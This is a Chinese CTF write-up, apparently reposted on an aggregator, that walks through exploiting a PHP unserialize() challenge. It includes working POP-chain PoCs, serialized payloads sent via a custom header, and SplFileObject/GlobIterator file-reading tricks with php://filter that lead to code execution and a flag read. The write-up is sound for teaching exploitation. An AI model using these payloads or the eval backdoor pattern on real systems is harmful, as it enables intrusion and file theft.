2023愚人杯 )————被遗忘的反序列化

 <?php# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");class EeE{public $text;public $eeee;public function __wakeup(){if ($this->text == "aaaa"){echo lcfirst($this->text);}}public function __get($kk){echo "$kk,eeeeeeeeeeeee";}public function __clone(){$a = new cycycycy;$a -> aaa();}}class cycycycy{public $a;private $b;public function aaa(){$get = $_GET['get'];$get = cipher($get);if($get === "p8vfuv8g8v8py"){eval($_POST["eval"]);}}public function __invoke(){$a_a = $this -> a;echo "\$a_a\$";}
}class gBoBg{public $name;public $file;public $coos;private $eeee="-_-";public function __toString(){if(isset($this->name)){$a = new $this->coos($this->file);echo $a;}else if(!isset($this -> file)){return $this->coos->name;}else{$aa = $this->coos;$bb = $this->file;return $aa();}}
}   class w_wuw_w{public $aaa;public $key;public $file;public function __wakeup(){if(!preg_match("/php|63|\*|\?/i",$this -> key)){$this->key = file_get_contents($this -> file);}else{echo "不行哦";}}public function __destruct(){echo $this->aaa;}public function __invoke(){$this -> aaa = clone new EeE;}
}$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

获取txt文件

注释说有一个txt文件

找到这个

coos和file都是可控的 可以用php原生函数读取这个txt文件

GlobIterator类

GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径,即不需要依赖glob://协议。

但是想要触发__toString()方法还需要利用

所以初步的poc为

  class gBoBg{public $name = 1;public $file = './*.txt';public $coos = 'GlobIterator';}class w_wuw_w{public $aaa;public $key;public $file;}$a=new gBoBg();$b=new w_wuw_w();$b->aaa = $a;
echo serialize($b);

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}

这里的传参方式也很独特

$_SERVER["HTTP_AAAAAA"] 是 PHP 中用于获取 HTTP 请求头部信息中名为 "HTTP_AAAAAA" 的值。

在 Web 开发中,HTTP 请求头部信息包含了客户端(通常是浏览器)发送给服务器的额外信息,这些信息可以包括用户代理(User-Agent)、主机(Host)、来源(Referer)等。而 "HTTP_AAAAAA" 是一个自定义的请求头,其名称由开发者自行定义。

例如,如果客户端发送了一个请求,并且在请求头中包含了名为 "HTTP_AAAAAA" 的自定义信息,那么在 PHP 中可以通过 $_SERVER["HTTP_AAAAAA"] 来获取这个信息的值。

需要注意的是,请求头部信息是由客户端发送给服务器的,因此服务器端的应用程序(比如 PHP)可以使用 $_SERVER 超全局数组来获取这些信息。

所以传参方式是这样的

成功获取txt文件名

h1nt.txt

查看一下

#用于check.php

key:qwertyuiopasdfghjklzxcvbnm123456789

move:2-4

显而易见是凯撒

但是还要看check.php的值

这里虽然过滤了key 但是没有过滤file的值

然后让没有echo$key

但是有echo$aaa

只要让两个值相等就可以echo

构造poc

<?phpclass EeE{public $text;public $eeee;}class cycycycy
{public $a;private $b;}class gBoBg{public $name;public $file;public $coos;}class w_wuw_w{public $aaa;public $key = 2;public $file = 'check.php';}$a=new gBoBg();
$b=new w_wuw_w();
$b->aaa =& $b->key;
echo serialize($b);

注意这里的 两个变量相等要用指标符

使他们实际上指向同一个内存地址

(c语言学过忘的一干二净。。。。)

注意这里请求头这里有空格!!!!

然后得到check.php的内容

// 如果输入的字符串长度超过 10000,则终止程序执行并返回错误码 -1。这是一个长度限制的安全检查。
if(strlen($str) > 10000){exit(-1);
}// 定义了一个字符集,包含小写字母和数字。这个字符集是加密和解密过程中使用的。
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";// 定义了加密时的位移量,这里设置为 4。加密过程中,每个字符将会向左偏移 4 个位置。
$shift = 4;// 定义了一个空字符串,用于存储加密后的结果。
$shifted = "";// 使用 for 循环遍历输入字符串中的每个字符。
for ($i = 0; $i < strlen($str); $i++) {// 获取当前位置的字符。$char = $str[$i];// 查找当前字符在字符集中的位置。$pos = strpos($charset, $char);// 如果字符在字符集中,则执行下面的代码;否则,直接将字符添加到结果中。if ($pos !== false) {// 计算字符在字符集中新的位置,使用的是凯撒密码加密算法。// 这里,($pos - $shift + strlen($charset)) 表示将当前位置向左偏移 4 个位置,// 然后取模 strlen($charset) 来确保结果在字符集的范围内。$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);// 将加密后的字符追加到结果字符串中。$shifted .= $charset[$new_pos];} else {// 将字符添加到结果中。$shifted .= $char;}
}// 返回加密后的结果字符串。
return $shifted;

得到加密规则

就是向左移动4位数

逆向一下就是要向右移动4位

爆破一下

def caesar_decrypt(ciphertext, shift):plaintext = ""alphabet = "qwertyuiopasdfghjklzxcvbnm123456789"for char in ciphertext:if char in alphabet:shifted_index = (alphabet.index(char) - shift) % len(alphabet)plaintext += alphabet[shifted_index]else:plaintext += charreturn plaintext# 测试
ciphertext = input("请输入需要解密的密文:")
plaintext = caesar_decrypt(ciphertext, -4)
print("解密后的明文:", plaintext)

 fe1ka1ele1efp

得到这个

最后就是构造pop加传参

1 通过反序列化 w_wuw_w类 触发__destruct() 让$aaa=class gBoBg

从而触发gBoBg类里面的__toString()

2 gBoBg类里 让 name 值为空 file值存在 $aa=w_wuw_w() 从而触发w_wuw_w类里的__invoke()

3 w_wuw_w类 __invoke()里面克隆对象 触发EeE里面的__clone()

4 __clone()触发aaa属性 从而成功rce

poc

<?phpclass EeE{public $text;public $eeee;}class cycycycy{public $a;private $b;}class gBoBg{public $name;public $file=1;public $coos;}   class w_wuw_w{public $aaa;public $key;public $file;
}$a = new EeE();
$b = new cycycycy();
$c = new gBoBg();
$d = new w_wuw_w();
$c->coos=$d;
$d->aaa=$c;echo serialize($d);

payload

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";i:1;s:4:"coos";r:1;}s:3:"key";N;s:4:"file";N;}

非预期

看别人的wp h1nt.txt也是用原生类函数整出来的

我这里直接读取 虽然有回显但还是有乱码

我们用原生类函数读一下试试

用之前就了解过的 SplFileObject函数

但是之前那道题 有 echo

但是这题没有

就要用php伪协议读取

php://filter/convert.base64-encode/resource=h1nt.txt

poc

<?php
class gBoBg{public $name = 1;public $file = 'php://filter/convert.base64-encode/resource=h1nt.txt';public $coos = 'splfileobject';}class w_wuw_w{public $aaa;public $key;public $file;}$a=new gBoBg();$b=new w_wuw_w();$b->aaa = $a;
echo serialize($b);

base64解密

这样就不会乱码了

然后再好好了解一下php原生类函数(用于反序列化的)

php原生类函数(用于反序列化的)

读取文件类(SplFileObject)

进行目录遍历

DirectoryIterator和FilesystemIterator都需要用glob伪协议

GlobIterator自带glob就不需要了

回到刚才那题直接用原生函数遍历跟目录

可以直接找到flag的名字

 public $file = '/f*';public $coos = 'GlobIterator';

然后再用SplFileObject查看

    public $file = 'php://filter/convert.base64-encode/resource=/f1agaaa';public $coos = 'SplFileObject';

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1420984.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

基于SSM+Vue的物流管理系统

运行截图 获取方式 Gitee仓库

用迭代加深解决加成序列问题

可以看到这个最坏的结果是100层搜索&#xff0c;但是其实1 2 4 8 16 32 64 128&#xff0c;到128的话也只要8&#xff0c;所以大概只需要10几层搜索就可以解决了&#xff0c;这个时候就可以用迭代加深的方法&#xff0c;深度一点点的加&#xff0c;如果大于概深度就舍去。有人说…

解决vue3项目打包后部署后某些静态资源图片不加载问题

目录 问题 原因 解决方案 问题 开发完项目打包并部署 然后访问时发现导航栏背景图片没加载 打开浏览器控制台发现这张图片报错404 原因 可能是因为在部署后的服务器环境中对中文文件名的支持不完善。服务器在解析 URL 时可能无法正确识别或编码中文字符&#xff0c;导致无…

实现stract(字符串拼接)函数(C语言)

一、N-S流程图&#xff1b; 二、运行结果&#xff1b; 三、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>int main() {//初始化变量值&#xff1b;char a[80], b[80];int i, n1, n2;//填充字符串&#xff1b;printf("请输入字符串a的内…

Shell编程之循环语句之for

一.for循环语句 读取不同的变量值&#xff0c;用来逐个执行同一组命令 for 变量名 in 取值列表 do命令序列 done 示例&#xff1a; 1.计算从1到100所有整数的和 2.提示用户输入一个小于100的整数&#xff0c;并计算从1到该数之间所有整数的和 3.求从1到100所有整数的偶数和…

【计算机网络】计算机网络体系结构

&#x1f6a9;本文已收录至专栏&#xff1a;计算机网络学习之旅 一.常见的三种结构 (1) OSI参考模型 为了使不同体系结构的计算机网络都能互连起来&#xff0c;国际标准化组织于1977年成立了专门机构研究该问题&#xff0c;提出了著名的开放系统互连基本参考模型&#xff0c…

若依-生成主子表

1. sql语句建表导入到数据库中&#xff1a; -- ---------------------------- -- Table structure for t_ques————主表 -- ----------------------------CREATE TABLE ques (ques_id INT NOT NULL AUTO_INCREMENT COMMENT Id,name VARCHAR(255) NOT NULL COMMENT 测评名称…

IB 公式解析

公式 3.2. Influence Function 影响函数允许我们在移除样本时估计模型参数的变化&#xff0c;而无需实际移除数据并重新训练模型。 3.3 影响平衡加权因子 3.4 影响平衡损失 3.5 类内重加权 m代表一个批次&#xff08;batch&#xff09;的大小&#xff0c;这意味着公式对一个批…

【Dash】开始学习dash

安装Dash 网上很多安装dash的教程&#xff0c;不再赘述 开始Dash 一个dash页面的基本写法 # dash 的基本写法 import dash from dash import html,dcc,callback,Input,Output# 创建一个 dash 应用 app dash.Dash()# 定义布局&#xff0c;定义一个输入框和一个输出框 app.l…

电商技术揭秘营销相关系列文章合集(4)

相关系列文章 电商技术揭秘相关系列文章合集&#xff08;1&#xff09; 电商技术揭秘相关系列文章合集&#xff08;2&#xff09; 电商技术揭秘相关系列文章合集&#xff08;3&#xff09; 文章目录 引言集合说明集合文章列表 引言 在数字化浪潮的推动下&#xff0c;电商行…

windows窗口消息队列与消息过程处理函数

在Windows窗口应用程序中&#xff0c;消息队列和窗口过程函数是实现消息驱动机制的核心组件。 消息队列&#xff08;Message Queue&#xff09;&#xff1a; 消息队列是用于存储窗口消息的缓冲区。当用户与应用程序交互时&#xff0c;系统会将生成的消息插入到消息队列中&…

手游掘金最新玩法,单条视频变现1w+,一部手机即可操作,保姆级教程

如果你也想通过手机赚钱&#xff0c;在这里有一个非常好的项目&#xff0c;它可以让你轻松赚到额外的收入。 这个手游掘金最新玩法&#xff0c;是一个非常受欢迎的项目&#xff0c;它可以让你通过制作单条视频来获得高额收益。不同于传统的游戏赚钱方式&#xff0c;这个方法不…

哈希(构造哈希函数)

哈希 哈希也可以叫散列 画一个哈希表 哈希冲突越多&#xff0c;哈希表效率越低。 闭散列开放定址法: 1.线性探测&#xff0c;依次往后去找下一个空位置。 2.二次探测&#xff0c;按2次方往后找空位置。 #pragma once #include<vector> #include<iostream> #i…

告别数据泥潭:PySpark性能调优的黄金法则

阿佑今天给大家带来个一张藏宝图——使用PySpark进行性能调优的黄金法则&#xff0c;从内存管理到执行计划&#xff0c;再到并行度设置&#xff0c;每一步都是提升数据处理速度的关键&#xff01; 文章目录 Python Spark 详解1. 引言2. 背景介绍2.1 大数据处理技术演变2.2 Apac…

【MySQL】SQL基本知识点DML(2)

目录 1.DML添加数据 2.DML-修改数据 &#xff08;1&#xff09;改​编辑 &#xff08;2&#xff09;删​编辑​编辑 3.DQL-基本查询 &#xff08;1&#xff09;查询多个字段​编辑​编辑​编辑 &#xff08;2&#xff09;设置别名 &#xff08;3&#xff09;去重操作 4…

月内录用,这本期刊不到2个月完成检索

无预警毕业/晋升快刊&#xff0c;该期刊2008年被WOS收录&#xff0c;现已稳定检索16年&#xff0c;进展超顺。注意&#xff01;该期刊仅剩10篇版面&#xff01;咨询Aaron编辑老师了解该刊更多信息&#xff01; 1、期刊基本信息 【期刊简介】IF&#xff1a;0-1.0&#xff0c;J…

【SpringBoot】 什么是springboot(三)?springboot使用ajax、springboot使用reids

文章目录 SpringBoot第五章第六章1、springboot使用ajax2、springboot使用reids1、单机版**使用步骤**1-5步67-9步RedisTemplate使用RedisTemplate2、集群版开启集群项目配置1234-5第七章1、springboot文件上传使用步骤1-234-52、springboot邮件发送步骤1-23453、springboot拦截…

全球首例!猪肾移植患者死亡,人类科技与伦理或将面临挑战?

全球首例猪肾移植患者的离世&#xff0c;如同一颗重磅炸弹&#xff0c;在医学界激起千层浪花&#xff0c;让原本充满希望的“死而复生”异种器官移植技术再次被推至风口浪尖。 今年3月&#xff0c;一场与命运的较量在麻省总医院悄然落幕。全球首位接受转基因猪肾移植的患者理查…

【C++】多态(上)超详细

封装&#xff0c;继承&#xff0c;多态不只是C的三大特性&#xff0c;而是面向对象编程的三大特性。 什么是多态&#xff1a; 不同的对象做同一件事情&#xff0c;结果会出现多种形态。 1.满足多态的几个条件 1.父子类完成虚函数重写&#xff08;需要满足三同&#xff1a;函…

GD32用ST-Link出现internal command error的原因及解决方法

一、GD32 F407烧录时出现can not reset target shutting down debug session 搜寻网上资料&#xff0c;发现解决方式多种多样&#xff0c;做一个简单的总结&#xff1a; 1.工程路径包含中文名 2.需更改debug选项 3.引脚冲突 4.杜邦线太长 而先前我的工程路径包含中文名也仍…